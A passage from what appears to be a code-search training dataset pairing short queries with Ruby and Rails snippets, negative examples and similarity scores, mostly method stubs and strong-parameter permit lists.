"0.6255769",
"0.6254145",
"0.62177664",
"0.6200521",
"0.6194774",
"0.6168818",
"0.6142851",
"0.61351347",
"0.6119441",
"0.6114598",
"0.61050117",
"0.6078308",
"0.6074202",
"0.6068708",
"0.6063168",
"0.6063168",
"0.60579747",
"0.60534453",
"0.6040402",
"0.6039394",
"0.6032195",
"0.60221136",
"0.6003216",
"0.5996909",
"0.59877986",
"0.5981712",
"0.5971494",
"0.59653574",
"0.59538984",
"0.595196",
"0.595196",
"0.59424824",
"0.5938683",
"0.59311634",
"0.5930239",
"0.59185827",
"0.5918096",
"0.59170896",
"0.59038836",
"0.5903229",
"0.58990437",
"0.58866554",
"0.587926",
"0.5873469",
"0.58696806",
"0.58658695",
"0.5854587",
"0.58459",
"0.58431053",
"0.58425915",
"0.5839924",
"0.5837031",
"0.58355474",
"0.58306265",
"0.5818928",
"0.58039147",
"0.5803701",
"0.5793204",
"0.57898813",
"0.577411",
"0.577",
"0.57653296",
"0.57624626",
"0.57583684",
"0.57520884",
"0.57508254",
"0.5750312",
"0.57470876",
"0.57406664",
"0.5729101"
] |
0.75091094
|
0
|
Then provide an implementation:
|
def user(body)
User.find(body[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def implementation; end",
"def implementation; end",
"def provide\n raise NotImplementedError\n end",
"def implementation=(implementation); end",
"def call\n raise NotImplementedError\n end",
"def call\n raise NotImplementedError\n end",
"def call\n raise NotImplementedError\n end",
"def implementation\n @implementation\n end",
"def service; raise NotImplementedError; end",
"def provider; end",
"def implementer\n provider\n end",
"def call\n # implement in subclasses\n end",
"def stub_implementation; end",
"def run; raise NotImplementedError; end",
"def run; raise NotImplementedError; end",
"def make(*args)\n raise NotImplementedError.new('Must override')\n end",
"def implemented_in; end",
"def call\n raise NotImplementedError,\n \"Override #call and implement your application logic.\"\n end",
"def implementation\n fail 'Subclasses must implement implementation()!'\n end",
"def commence\n raise NotImplementedError\n end",
"def interface; end",
"def interface; end",
"def invoke\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n raise 'must be implemented in subclasses'\r\n end",
"def apply\n raise NotImplementedError\n end",
"def invoke\n raise NotImplementedError, \"Author of subclass forgot to implement #invoke\"\n end",
"def dispatch\n raise NotImplementedError\n end",
"def strategy; end",
"def wrapper; end",
"def choose\n raise NotImplementedError.new('Must override')\n end",
"def protocol\n raise NotImplementedError\n end",
"def call(*)\n raise NotImplementedError\n end",
"def call( *args )\n raise NotImplementedError\n end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def refinement\n raise NotImplementedError\n end",
"def implement_me\n flunk('Test not yet implemented.')\n end",
"def run\n raise NotImplementedError\n end",
"def run\n raise NotImplementedError\n end",
"def run\n raise NotImplementedError\n end",
"def run\n raise NotImplementedError\n end",
"def setup\n raise NotImplementedError\n end",
"def run(*)\n raise NotImplementedError, \"Expected #{self.class} to implement ##{__method__}\"\n end",
"def install\n raise NotImplementedError\n end",
"def install\n raise NotImplementedError\n end",
"def _require_implementation!(method)\n raise ::NotImplementedError, \"#{method} not implemented by #{self.class}\"\n end",
"def run\n raise NotImplementedError.new\n end",
"def delegating_method; end",
"def use(*)\n super\n end",
"def init\n raise NotImplementedError\n end",
"def entry_point\n raise NotImplementedError\n end",
"def overrides; end",
"def custom; end",
"def custom; end",
"def realize_self\n raise NotImplementedError\n end",
"def perform\n raise NotImplementedError\n end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def provider=(_arg0); end",
"def support\n raise \"Not implemented\"\n end",
"def invoke; end",
"def run!\n raise NotImplementedError\n end",
"def support_source_class\n raise NotImplementedError\n end",
"def fit\n raise NotImplementedError, \"#{__method__} has to be implemented in #{self.class}.\"\n end",
"def fit\n raise NotImplementedError, \"#{__method__} has to be implemented in #{self.class}.\"\n end",
"def internal; end",
"def call\n raise \"Must subclass and implement call\"\n end",
"def perform\n raise NotImplementedError\n end",
"def handle\n raise \"Not implemented yet!\"\n end",
"def private; end",
"def import_into\n raise NotImplementedError, not_implemented_error_message(__method__)\n end",
"def driver; end",
"def perform\n raise NotImplementedError\n end",
"def configure\n not_implemented(__method__)\n end",
"def object\n raise NotImplementedError\n end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def factory_strategy; end",
"def run() \n raise NotImplementedError, \"The #run method must be implemented\"\n end",
"def run\n raise NotImplementedError.new(\"The run method must be overridden\")\n end",
"def call(component)\n fail NotImplementedError\n end"
] |
[
"0.8004915",
"0.8004915",
"0.7644503",
"0.6982072",
"0.6977004",
"0.6977004",
"0.6951976",
"0.68200195",
"0.6808356",
"0.6733499",
"0.6724624",
"0.67192864",
"0.6706957",
"0.67044455",
"0.67044455",
"0.660964",
"0.6590503",
"0.65820056",
"0.6568999",
"0.6563248",
"0.6553996",
"0.6553996",
"0.6553566",
"0.6542364",
"0.64996815",
"0.64680463",
"0.6453949",
"0.6412423",
"0.63877696",
"0.63431406",
"0.63300544",
"0.63003653",
"0.62840813",
"0.62840813",
"0.62840813",
"0.62604696",
"0.6246144",
"0.6238789",
"0.6238789",
"0.6238789",
"0.6238789",
"0.6192406",
"0.6188139",
"0.61798424",
"0.61798424",
"0.61512685",
"0.6145406",
"0.61273015",
"0.6120746",
"0.61146814",
"0.6106532",
"0.60853624",
"0.6078185",
"0.6078185",
"0.6073401",
"0.60526615",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60455453",
"0.60437316",
"0.6040391",
"0.6013947",
"0.59921896",
"0.5975346",
"0.59673417",
"0.59673417",
"0.5966399",
"0.5960976",
"0.59572685",
"0.5956553",
"0.5950388",
"0.594514",
"0.5941366",
"0.5939136",
"0.59373736",
"0.59044266",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5885612",
"0.5880641",
"0.5880641",
"0.5880641",
"0.5880641",
"0.58697844",
"0.5865515",
"0.58582807",
"0.58421755"
] |
0.0
|
-1
|
private menas that the methods defined here are methods internal to the object.
|
def hungry?
#method names can endwith "?" usually, we only do this if the method returns true or false like this:
@stuffInBelly <= 2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def methods() end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def private; end",
"def internal_methods; end",
"def accessibility; end",
"def internal; end",
"def private_method\n end",
"def private_method; end",
"def methods=(_arg0); end",
"def public; end",
"def public; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def private_method\n\tend",
"def private_method\n\tend",
"def menu # can do custom methods within a method/class\n end",
"def public_method; end",
"def a_private_method\n\tend",
"def operations; end",
"def operations; end",
"def overrides; end",
"def implementation; end",
"def implementation; end",
"def methods\n super + DELEGATED_METHODS\n end",
"def private_instance_methods(include_super=true) end",
"def protected_method\n end",
"def method_missing(wh,*therest)\n # xxx internal methods must be protected at some point\n end",
"def subcommands() __subcommands__ end",
"def custom; end",
"def custom; end",
"def public_instance_methods(include_super=true) end",
"def instance_methods; end",
"def private_method\n end",
"def actions; end",
"def who_we_are\r\n end",
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def delegate_object_reader_method; end",
"def hidden_apis=(_arg0); end",
"def protected_method\n\tend",
"def invoke\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n raise 'must be implemented in subclasses'\r\n end",
"def runnable_methods; end",
"def runnable_methods; end",
"def content_methods; end",
"def add_actions; end",
"def api\n methods - Object.public_methods\n end",
"def delegating_method; end",
"def called_from; end",
"def called_from; end",
"def method3 # will be 'private'\r\n\t\t# ...\r\n\tend",
"def probers; end",
"def visibility; end",
"def visibility; end",
"def visibility; end",
"def visibility; end",
"def visibility; end",
"def under_construction\n end",
"def internal?; end",
"def private_methods(all=true) end",
"def method4 # and this will be 'public'\r\n\t\t#...\r\n\tend",
"def modifier; end",
"def expose; end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def private=(_); end",
"def interface_methods; end",
"def toplevel_members; end",
"def main_method3\n puts greet\n puts pr_method1 #private method worked in sub class like protected\n end",
"def private_notes\n \n end",
"def method\n\t\t# code code\n\tend",
"def other_public_method\n end",
"def _lex_actions; end",
"def attr_reader(*)\n end",
"def members; end",
"def members; end",
"def members; end",
"def members; end",
"def members; end",
"def members; end",
"def members; end",
"def instance_methods(include_super=true) end",
"def protected_instance_methods(include_super=true) end",
"def apis; end",
"def nMenuItems _obj, _args\n \"_obj nMenuItems _args;\" \n end",
"def getters; end",
"def private_notes\n end"
] |
[
"0.7582183",
"0.74848807",
"0.74848807",
"0.74848807",
"0.74848807",
"0.72293866",
"0.71664006",
"0.7157473",
"0.7013877",
"0.68155503",
"0.6519713",
"0.65060616",
"0.6412229",
"0.6412229",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63606894",
"0.63428897",
"0.63428897",
"0.63379544",
"0.6330311",
"0.63032573",
"0.6301789",
"0.6301789",
"0.6279135",
"0.6266041",
"0.6266041",
"0.61693573",
"0.61681116",
"0.6142383",
"0.6120522",
"0.6051619",
"0.6047224",
"0.6047224",
"0.603404",
"0.6022766",
"0.6008671",
"0.5984304",
"0.59817195",
"0.59810936",
"0.59810936",
"0.59810936",
"0.59608626",
"0.59537053",
"0.5952731",
"0.5944119",
"0.5927562",
"0.5927562",
"0.5919469",
"0.59175366",
"0.5917409",
"0.5890255",
"0.5846953",
"0.5846953",
"0.5835736",
"0.5828033",
"0.5814988",
"0.5814988",
"0.5814988",
"0.5814988",
"0.5814988",
"0.57986534",
"0.57808214",
"0.5769927",
"0.5761501",
"0.574752",
"0.57310426",
"0.57276106",
"0.57276106",
"0.57276106",
"0.5720606",
"0.5714146",
"0.5711867",
"0.56936187",
"0.5687567",
"0.56856215",
"0.5684764",
"0.5683964",
"0.56829417",
"0.5677643",
"0.5677643",
"0.5677643",
"0.5677643",
"0.5677643",
"0.5677643",
"0.5677643",
"0.56775755",
"0.5672057",
"0.56708413",
"0.566335",
"0.5663157",
"0.5660482"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def service_params
params.require(:service).permit(:name, :description, :duration, :establishment_id, :teacher_id, :resource_id, :sub_category_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.6292164",
"0.62917984",
"0.62836355",
"0.6242686",
"0.6241917",
"0.62210834",
"0.6214862",
"0.62125784",
"0.619428",
"0.617912",
"0.617705",
"0.61735916",
"0.6163706",
"0.61532795",
"0.6152666",
"0.6148062",
"0.6123372",
"0.61180484",
"0.61088324",
"0.6106139",
"0.60925204",
"0.608326",
"0.60711503",
"0.606551",
"0.60216546",
"0.6018924",
"0.6015004",
"0.60106766",
"0.6008301",
"0.6008301",
"0.60028726",
"0.60020626",
"0.5999236",
"0.59931505",
"0.5993037",
"0.59917194",
"0.5982164",
"0.5968051",
"0.5960277",
"0.5960268",
"0.5960012",
"0.59594494",
"0.5954652",
"0.5954304",
"0.59440255",
"0.59404963",
"0.59404963",
"0.59401006",
"0.593522",
"0.5932182",
"0.5925528",
"0.5924541",
"0.5918796",
"0.59123147",
"0.5910144",
"0.5909186",
"0.5907257",
"0.5899382",
"0.5897783",
"0.58972496",
"0.58958495",
"0.58948576",
"0.5892734",
"0.5888056",
"0.58843875",
"0.58818483",
"0.5873746",
"0.58700997",
"0.5870056",
"0.5869255",
"0.58668107",
"0.58662325",
"0.5865003",
"0.5862908",
"0.5862406",
"0.58614665",
"0.5859661",
"0.585562",
"0.5855185",
"0.58523446",
"0.58504915"
] |
0.0
|
-1
|
rubocop: enable Metrics/PerceivedComplexity, Metrics/CyclomaticComplexity
|
def multiply_els(arr)
arr.my_inject(:*)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def implementation; end",
"def implementation; end",
"def probers; end",
"def schubert; end",
"def strategy; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def refutal()\n end",
"def operations; end",
"def operations; end",
"def suivre; end",
"def used?; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def custom; end",
"def custom; end",
"def offences_by; end",
"def internal; end",
"def processor; end",
"def intensifier; end",
"def common\n \n end",
"def isolated; end",
"def isolated; end",
"def private_method\n end",
"def who_we_are\r\n end",
"def anchored; end",
"def operation; end",
"def weber; end",
"def internship_passed; end",
"def prepareForReuse; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def identify; end",
"def apply\n end",
"def celebration; end",
"def checks; end",
"def villian; end",
"def ignores; end",
"def formation; end",
"def spec; end",
"def spec; end",
"def wrapper; end",
"def initialize\n \n end",
"def same; end",
"def initialize\n \n end",
"def extra; end",
"def missing; end",
"def ignore; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def code_of_conduct; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def internal?; end",
"def initialize\n\t\t\n\tend",
"def used\n raise NotImplementedError\n end",
"def relatorios\n end",
"def generate_comprehensive\n\n end",
"def r; end",
"def r; end",
"def perform\n \n end",
"def returns; end",
"def pausable; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def sitemaps; end",
"def final; end",
"def initialize\n\n end",
"def initialize\n\n end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end"
] |
[
"0.75161785",
"0.6225229",
"0.6225229",
"0.62118864",
"0.6088498",
"0.6032464",
"0.6016659",
"0.6016659",
"0.6016659",
"0.6016659",
"0.6008422",
"0.589045",
"0.589045",
"0.58652633",
"0.5859985",
"0.5827736",
"0.5827736",
"0.5827736",
"0.57931453",
"0.57931453",
"0.5773953",
"0.5773953",
"0.5758172",
"0.575268",
"0.5736042",
"0.57331264",
"0.57271343",
"0.5695843",
"0.5695843",
"0.5683757",
"0.56554073",
"0.56408435",
"0.5636606",
"0.56347257",
"0.5597833",
"0.5596226",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5581081",
"0.5579779",
"0.55701876",
"0.5549118",
"0.5534037",
"0.55326957",
"0.5526962",
"0.5511623",
"0.5477427",
"0.5477427",
"0.5440592",
"0.5436047",
"0.5431001",
"0.54231364",
"0.54027796",
"0.5399837",
"0.539665",
"0.5394289",
"0.5394289",
"0.5394289",
"0.5394289",
"0.5388696",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5386346",
"0.5368562",
"0.53549546",
"0.53518033",
"0.53497756",
"0.53412324",
"0.5330712",
"0.5330712",
"0.5330336",
"0.5327729",
"0.53235626",
"0.5321736",
"0.5321736",
"0.5321736",
"0.5321736",
"0.53193605",
"0.53174305",
"0.5316243",
"0.5316243",
"0.5315596",
"0.5315596",
"0.5315596",
"0.5315596",
"0.5315596",
"0.5315596"
] |
0.0
|
-1
|
Rysuje literke na scenie.
|
def draw
@img.draw(@x, @y, 2, 1.0, 1.0, @color)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def suivre; end",
"def squeek\r\n\t\treturn \"eeeep\"\r\n\tend",
"def anstatauKodo(teksto)\n\n trovoj = teksto.scan(/&(.*?);/)\n if trovoj == nil or trovoj.size <= 0 then return teksto end\n\n for i in 0..trovoj.size do\n \n\ttrov = trovoj[i].to_s[2..-3]\n if @literoj[trov] != nil\n\t teksto.sub!(\"&#{trov};\", @literoj[trov])\n\telse\n\t #puts \"Eraro! Ne trovis [#{trov}]\"\n\tend\n end\n\n teksto = CGI::unescapeHTML(teksto)\n return teksto\nend",
"def schubert; end",
"def rossini; end",
"def spren; end",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
"def rassoc(p0) end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def zuruecksetzen()\n end",
"def king_richard_iii; end",
"def rating; \"Д/379 (stub)\"; end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def schumann; end",
"def gram_schmidtR\n gram_schmidt[1]\n end",
"def slogan\n # 'A maneira mais fácil de pré-qualificar ao Atlas.'\n ''\n end",
"def king_richard_iii_quote; end",
"def stderrs; end",
"def slogan\n search_by_text 'слоган'\n end",
"def sichtbar_machen\n @sichtbar = true\n zeichnen()\n puts(self) \n end",
"def sea; end",
"def sk! ; k! ; s! ; end",
